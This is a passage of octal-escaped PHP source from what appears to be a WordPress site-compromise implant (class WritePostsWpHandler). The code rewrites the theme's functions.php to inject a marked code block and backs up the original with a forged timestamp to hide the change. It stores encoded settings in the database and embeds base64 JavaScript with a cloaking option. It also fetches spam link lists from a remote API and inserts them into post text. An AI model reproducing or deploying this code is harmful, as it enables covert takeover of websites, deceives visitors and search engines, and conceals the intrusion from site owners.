40\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(preg_match($customFiltersRegexpSec,\040$functionsSource,\040$matches))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$sourceHash\040=\040md5(trim($matches[1]));\012\012\040\040\040\040\040\040\040\040\040\040\040\040$dbHash\040=\040CustomDbHandler::getInstance()->getOption($optionCustom);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($dbHash\040&&\040($sourceHash\040===\040$dbHash['option_value']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('functions\040php\040hashes\040are\040identity');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('checksums\040do\040not\040match');\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('code\040not\040found...\040record!');\012\012\012\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::modify_functions_php($functionsPath,\040$sourceMod,\040TMPDIR,\040true))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('functions\040modified');\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match($customFiltersRegexpSec,\040$sourceMod,\040$matches);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$controlHash\040=\040md5(trim($matches[1]));\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->insertOrUpdate($optionCustom,\040$controlHash);\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040optionCustomFunctions()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040md5(crc32($_SERVER['HTTP_HOST']));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040modify_functions_php($functionsPath,\040$source,\040$tmpDir,\040$deleteOldCustomFilters\040=\040false)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$functionsSource\040=\040file_get_contents($functionsPath);\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::oldFunctionPathBak($tmpDir,\040$functionsPath);\012\012\040\040\040\040\040\040\040\040$optionCustom\040=\040WritePostsWpHandler::optionCustomFunctions();\012\012\012\040\040\040\040\040\040\040\040if\040($deleteOldCustomFilters)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$customFiltersRegexpSec\040=\040"~/\134*\134s*(custom\040filters|$optionCustom)\134s*\134*/(.+)/\134*\134s*(custom\040filters|$optionCustom)\134s*\134*/~su";\012\012\040\040\040\040\040\040\040\040\040\040\040\040$functionsSource\040=\040preg_replace($customFiltersRegexpSec,\040'',\040$functionsSource);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040preg_match('~\134<\134?(php)*~',\040$functionsSource,\040$tagMatches);\012\012\012\040\040\040\040\040\040\040\040if\040(empty($tagMatches))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$phpMatches\040=\040preg_quote($tagMatches[0]);\012\012\040\040\040\040\040\040\040\040$newFunctionSource\040=\040preg_replace("~$phpMatches~",\040$tagMatches[0]\040.\040"\134n\134n"\040.\040$source,\040$functionsSource,\0401);\012\012\012\040\040\040\040\040\040\040\040if\040(file_put_contents($functionsPath,\040$newFunctionSource)\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040/*\040dont\040touch\040me\040please\040*/\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040oldFunctionPathBak($tmpDir,\040$functionsPath)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!is_writeable(dirname($functionsPath)))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$backupPath\040=\040TMPDIR\040.\040'/'\040.\040basename($functionsPath)\040.\040'_bak';\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$backupPath\040=\040$functionsPath\040.\040'_bak';\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('functions\040backup\040path\040-\040%s',\040$backupPath));\012\012\012\040\040\040\040\040\040\040\040file_put_contents($backupPath,\040file_get_contents($functionsPath));\012\012\040\040\040\040\040\040\040\040touch($backupPath,\040WritePostsWpHandler::frequenttimestamp(dirname($backupPath)));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040frequenttimestamp($pathtodir)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040foreach\040(glob($pathtodir\040.\040"/*php")\040as\040$file)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$tmp[]\040=\040filemtime($file);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$count\040=\040array_count_values($tmp);\012\012\040\040\040\040\040\040\040\040arsort($count);\012\012\040\040\040\040\040\040\040\040$keys\040=\040array_keys($count);\012\012\012\040\040\040\040\040\040\040\040return\040array_shift($keys);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040settingsArr($functionsSource)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$oldSettings\040=\040WritePostsWpHandler::findOldSettings($functionsSource);\012\012\040\040\040\040\040\040\040\040$userId\040=\040defined('CUSTOM_AUTHOR_ID')\040?\040CUSTOM_AUTHOR_ID\040:\0409999;\012\012\040\040\040\040\040\040\040\040$sitemapRegexArr\040=\040WritePostsWpHandler::customSitemapName(SITEMAP_NAME);\012\012\012\040\040\040\040\040\040\040\040$newSettings\040=\040WritePostsWpHandler::generateSettings($userId,\040WritePostsWpHandler::jsPrepare(JS_SOURCE),\040key($sitemapRegexArr)\012\012\040\040\040\040\040\040\040\040\040\040\040\040,\040current($sitemapRegexArr),\040$_SERVER['homeLinksSettings']);\012\012\012\040\040\040\040\040\040\040\040if\040(!$oldSettings)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'only\040new\040settings'\040.\040PHP_EOL;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$newSettings;\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::compareNewOldSettings($oldSettings,\040$newSettings,\040$userId);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(defined('FORCE_CHANGE_HOME_LINKS_OWNER')\040&&\040FORCE_CHANGE_HOME_LINKS_OWNER\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::removeHomeLinkKey($settings);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$settings;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040findOldSettings($functionsSource)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$oldSourceRegex\040=\040'/\134'(.+?\134.xml\134$)\134'\134s*=>\134s*\134'(.+?)\134'/m';\012\012\012\040\040\040\040\040\040\040\040if\040(preg_match($oldSourceRegex,\040$functionsSource,\040$oldSourceMatches))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('old\040settings\040value\040detected');\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$jsScriptRegex\040=\040'/\134$str\134s*=\134s*<<<STR(.+?)STR;/s';\012\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match($jsScriptRegex,\040$functionsSource,\040$jsMatches);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$oldSettingsArr\040=\040WritePostsWpHandler::generateSettings(9999,\040trim($jsMatches[1])\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040$oldSourceMatches[1],\040$oldSourceMatches[2],\040null);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$oldSettingsArr;\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//find\040in\040db\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('find\040old\040settings\040in\040DB');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040WritePostsWpHandler::getDbSettingsCustom();\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040generateSettings($userId,\040$jsSource,\040$sitemapRegex,\040$feedPath,\040$homeLinksSettings)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040$userId\040=>\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'js'\040=>\040$jsSource,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'sitemapsettings'\040=>\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$sitemapRegex\040=>\040$feedPath,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'nojs'\040=>\040(defined('CLOACKING'))\040?\040CLOACKING\040:\0400,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'homeLinks'\040=>\040(defined('HOME_LINKS')\040&&\040HOME_LINKS\040===\0401)\040?\040$homeLinksSettings\040:\040null,\012\012\040\040\040\040\040\040\040\040\040\040\040\040),\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customSitemapName($sitemapName)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040"$sitemapName\134.xml$"\040=>\040"index.php?feed=xml$sitemapName"\012\012\040\040\040\040\040\040\040\040);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040jsPrepare($jsSource)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$base64\040=\040base64_encode($jsSource);\012\012\012\040\040\040\040\040\040\040\040return\040'<script\040src="data:text/javascript;base64,'\040.\040$base64\040.\040'"></script>';\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040compareNewOldSettings($oldSettings,\040$newSettings,\040$userId)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!isset($oldSettings[$userId]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$newSettingsKey\040=\040key($newSettings);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$newSettingsRegex\040=\040key($newSettings[$newSettingsKey]['sitemapsettings']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($oldSettings\040as\040$key\040=>\040$value)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$oldSettingsRegex\040=\040key($value['sitemapsettings']);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($oldSettingsRegex\040===\040$newSettingsRegex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$oldSitemapValue\040=\040str_replace('\134.xml$',\040'',\040$oldSettingsRegex);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040already\040used\040in\040oldsettings',\040$oldSitemapValue));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$newSettings\040+\040$oldSettings;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$jsDiff\040=\040strcmp($oldSettings[$userId]['js'],\040$newSettings[$userId]['js']);\012\012\012\040\040\040\040\040\040\040\040if\040($jsDiff\040!==\0400)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('js\040scripts\040are\040different');\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(defined('REDEFINE_JS_FOR_USER')\040&&\040REDEFINE_JS_FOR_USER\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('old\040script\040will\040be\040overwritten');\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$sitemapSettingsDiff\040=\040strcmp(key($oldSettings[$userId]['sitemapsettings'])\012\012\040\040\040\040\040\040\040\040\040\040\040\040,\040key($newSettings[$userId]['sitemapsettings']));\012\012\012\040\040\040\040\040\040\040\040if\040($sitemapSettingsDiff\040!==\0400)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$oldSitemapValue\040=\040key($oldSettings[$userId]['sitemapsettings']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$oldSitemapValue\040=\040str_replace('\134.xml$',\040'',\040$oldSitemapValue);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('sitemap\040settings\040are\040different');\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('old\040sitemap\040value\040%s',\040$oldSitemapValue);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$newSettings\040+\040$oldSettings;\012\012\040\040\040\040\040\040\040\040//return\040$newSettings;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040removeHomeLinkKey($settings)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040foreach\040($settings\040as\040$key\040=>\040$arr)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($key\040===\040CUSTOM_AUTHOR_ID)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($settings[$key]['homeLinks']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040unset($settings[$key]['homeLinks']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$settings;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040downloadExternalLinks($countHtmlFiles)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040list\040($minExtLinks,\040$maxExtLinks)\040=\040explode('..',\040EXTERNAL_LINKS_COUNT_PAGE);\012\012\040\040\040\040\040\040\040\040$linksLimit\040=\040$countHtmlFiles\040*\040$maxExtLinks;\012\012\012\040\040\040\040\040\040\040\040$params\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'tableHash'\040=>\040defined('TABLE_HASH')\040?\040TABLE_HASH\040:\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'htmlHash'\040=>\040defined('HTML_HASH')\040?\040HTML_HASH\040:\040'',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'linksLimit'\040=>\040$linksLimit,\012\012\040\040\040\040\040\040\040\040\040\040\040\040'maxLinksCount'\040=>\040COUNT_LINKS_FROM_DOMAIN,\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040$query\040=\040http_build_query($params);\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::saveRemoteFileCurl(GS_ALIAS\040.\040'/dnc/wp-acceptors-api/batch-get-links-test?'\040.\040$query,\040TMPDIR\040.\040'/ext-links.txt');\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040textWithLinks($text,\040$results,\040&$extLinksArr)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$internalLinks\040=\040array();\012\012\040\040\040\040\040\040\040\040$externalLinks\040=\040array();\012\012\012\040\040\040\040\040\040\040\040if\040(INTERNAL_LINKING\040===\0401)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($minLinks,\040$maxLinks)\040=\040explode('..',\040INTERNAL_LINKS_COUNT_PAGE);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$range\040=\040range($minLinks,\040$maxLinks);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$linksCount\040=\040$range[rand(0,\040count($range)\040-\0401)];\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(count($results)\040>=\040$linksCount)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040shuffle($results);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$slicedResults\040=\040array_slice($results,\0400,\040$linksCount);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$internalLinks\040=\040WritePostsWpHandler::linksPrepare($slicedResults);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040((EXTERNAL_LINKING\040===\0401)\040&&\040!empty($extLinksArr))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($minLinks,\040$maxLinks)\040=\040explode('..',\040EXTERNAL_LINKS_COUNT_PAGE);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$randCount\040=\040rand($minLinks,\040$maxLinks);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($randCount\040<=\040count($extLinksArr))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$externalLinks\040=\040array_splice($extLinksArr,\0400,\040$randCount);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$externalLinks\040=\040$extLinksArr;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$extLinksArr\040=\040array();\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$allLinksTypes\040=\040$externalLinks\040+\040$internalLinks;\012\012\012\040\040\040\040\040\040\040\040return\040WritePostsWpHandler::replacePTags($text,\040$allLinksTypes);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040linksPrepare($results)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$links\040=\040array();\012\012\012\040\040\040\040\040\040\040\040foreach\040($results\040as\040$result)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($url,\040$title)\040=\040explode(';',\040$result,\0402);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$title\040=\040htmlspecialchars_decode($title);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$url\040=\040str_replace('//?p=',\040'/?p=',\040$url);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$links[]\040=\040"<a\040href=\134"$url\134">$title</a>";\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$links;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040replacePTags($source,\040$links)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040preg_match_all('~.{20}<\134/p>~us',\040$source,\040$matches);\012\012\012\040\040\040\040\040\040\040\040if\040(empty($matches[0]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040null;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$num\040=\040range(0,\040count($matches[0])\040-\0401);\012\012\040\040\040\040\040\040\040\040$patternsReplacementsArr\040=\040array();\012\012\012\040\040\040\040\040\040\040\040foreach\040($links\040as\040$link)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$randNum\040=\040$num[rand(0,\040count($matches[0])\040-\0401)];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$pattern\040=\040'~'\040.\040preg_quote($matches[0][$randNum])\040.\040'~us';\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($patternsReplacementsArr[$pattern]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$patternsReplacementsArr[$pattern]\040=\040$patternsReplacementsArr[$pattern]\040.\040"\134n"\040.\040$link;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$patternsReplacementsArr[$pattern]\040=\040$matches[0][$randNum]\040.\040"\134n"\040.\040$link;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040preg_replace(array_keys($patternsReplacementsArr),\040array_values($patternsReplacementsArr),\040$source);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040decodeExternalLinks()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(!file_exists(TMPDIR\040.\040'/ext-links.txt'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('no\040external\040links\040source');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$extLinksSource\040=\040file_get_contents(TMPDIR\040.\040'/ext-links.txt');\012\012\012\040\040\040\040\040\040\040\040$extLinksSourceDecode\040=\040json_decode($extLinksSource,\0401);\012\012\012\040\040\040\040\040\040\040\040if\040(!is_array($extLinksSourceDecode)\040||\040!isset($extLinksSourceDecode['links']))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(trim($extLinksSource)\040==\040'tmp\040table\040not\040found')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040table\040not\040found',\040TABLE_HASH));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(trim($extLinksSource)\040==\040'table\040expired')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040table\040expired',\040TABLE_HASH));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(trim($extLinksSource)\040==\040'table\040is\040empty')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040db\040links\040not\040found',\040TABLE_HASH));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(trim($extLinksSource)\040==\040'file\040with\040links\040not\040found')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040file\040with\040links\040not\040found',\040HTML_HASH));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('error\040while\040decoding\040json\040external\040links');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$extLinksSourceDecode['links'];\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040deleteSettings()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!defined('CUSTOM_AUTHOR_ID'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\012\040\040\040\040\040\040\040\040if\040(isset($settings[CUSTOM_AUTHOR_ID]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040unset($settings[CUSTOM_AUTHOR_ID]);\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('delete\040settings\040for\040user\040id\040%s',\040CUSTOM_AUTHOR_ID));\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::writeSettingsDB($settings);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040writeSettingsDB($settings)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$settingsName\040=\040WritePostsWpHandler::optionCustomFilters();\012\012\040\040\040\040\040\040\040\040\040\040\040\040$instance\040=\040CustomDbHandler::getInstance();\012\012\040\040\040\040\040\040\040\040\040\040\040\040$settingsEncode\040=\040base64_encode(serialize($settings));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$instance->getOption($settingsName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'insert\040new\040option'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$instance->insertWpOptions($settingsName,\040$settingsEncode);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'option\040exist,\040update\040option'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$instance->updateWpOptions($settingsName,\040$settingsEncode);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('settings\040updated!');\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040deleteMutex()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$path\040=\040WRITABLE_PATH\040.\040'/'\040.\040WritePostsWpHandler::pluginsBackupOptionName();\012\012\040\040\040\040\040\040\040\040unlink($path);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040startActions($actions)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040foreach\040($actions\040as\040$actionName\040=>\040$status)\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$status\040&&\040$actionName\040!=\040'sitemap')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::doAction($actions,\040$actionName);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040doAction($actions,\040$actionName)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$callBackName\040=\040$actionName\040.\040'Action';\012\012\012\040\040\040\040\040\040\040\040if\040(method_exists('ActionsCustom',\040$callBackName))\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040start',\040$callBackName));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(call_user_func(array('ActionsCustom',\040$callBackName))\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040invalid\040execute!!!',\040$callBackName));\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040GlobalLogs::getMainLogs();\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040/*\040setActions\040*/\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040finished',\040$callBackName));\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('success\040execute\040action,\040update\040option,\040%s',\040$actionName));\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::customSetActions($actions,\040$actionName);\012\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040not\040found!!!',\040$callBackName));\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040customSetActions($actions,\040$actionName)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040GlobalLogs::s